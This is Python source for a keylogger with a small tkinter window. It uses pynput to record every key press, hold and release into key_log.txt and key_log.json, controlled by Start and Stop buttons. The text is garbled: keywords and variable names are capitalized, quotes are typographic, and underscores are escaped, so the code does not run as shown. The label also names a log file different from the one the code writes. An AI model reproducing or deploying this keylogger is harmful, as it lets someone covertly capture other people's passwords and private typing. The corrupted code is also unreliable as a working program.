Import tkinter as tk

From tkinter import \*

From pynput import keyboard

Import json

Keys\_used = []

Flag = False

Keys = “”

Def generate\_text\_log(key):

With open(‘key\_log.txt’, “w+”) as keys:

Keys.write(key)

Def generate\_json\_file(keys\_used):

With open(‘key\_log.json’, ‘+wb’) as key\_log:

Key\_list\_bytes = json.dumps(keys\_used).encode()

Key\_log.write(key\_list\_bytes)

Def on\_press(key):

Global flag, keys\_used, keys

If flag == False:

Keys\_used.append(

{‘Pressed’: f’{key}’}

)

Flag = True

If flag == True:

Keys\_used.append(

{‘Held’: f’{key}’}

)

Generate\_json\_file(keys\_used)

Def on\_release(key):

Global flag, keys\_used, keys

Keys\_used.append(

{‘Released’: f’{key}’}

)

If flag == True:

Flag = False

Generate\_json\_file(keys\_used)

Keys = keys + str(key)

Generate\_text\_log(str(keys))

Def start\_keylogger():

Global listener

Listener = keyboard.Listener(on\_press=on\_press, on\_release=on\_release)

Listener.start()

Label.config(text=”[+] Keylogger is running!\n[!] Saving the keys in ‘keylogger.txt’”)

Start\_button.config(state=’disabled’)

Stop\_button.config(state=’normal’)

Def stop\_keylogger():

Global listener

Listener.stop()

Label.config(text=”Keylogger stopped.”)

Start\_button.config(state=’normal’)

Stop\_button.config(state=’disabled’)

Root = Tk()

Root.title(“Keylogger”)

Label = Label(root, text=’Click “Start” to begin keylogging.’)

Label.config(anchor=CENTER)

Label.pack()

Start\_button = Button(root, text=”Start”, command=start\_keylogger)

Start\_button.pack(side=LEFT)

Stop\_button = Button(root, text=”Stop”, command=stop\_keylogger, state=’disabled’)

Stop\_button.pack(side=RIGHT)

Root.geometry(“250x250”)

Root.mainloop()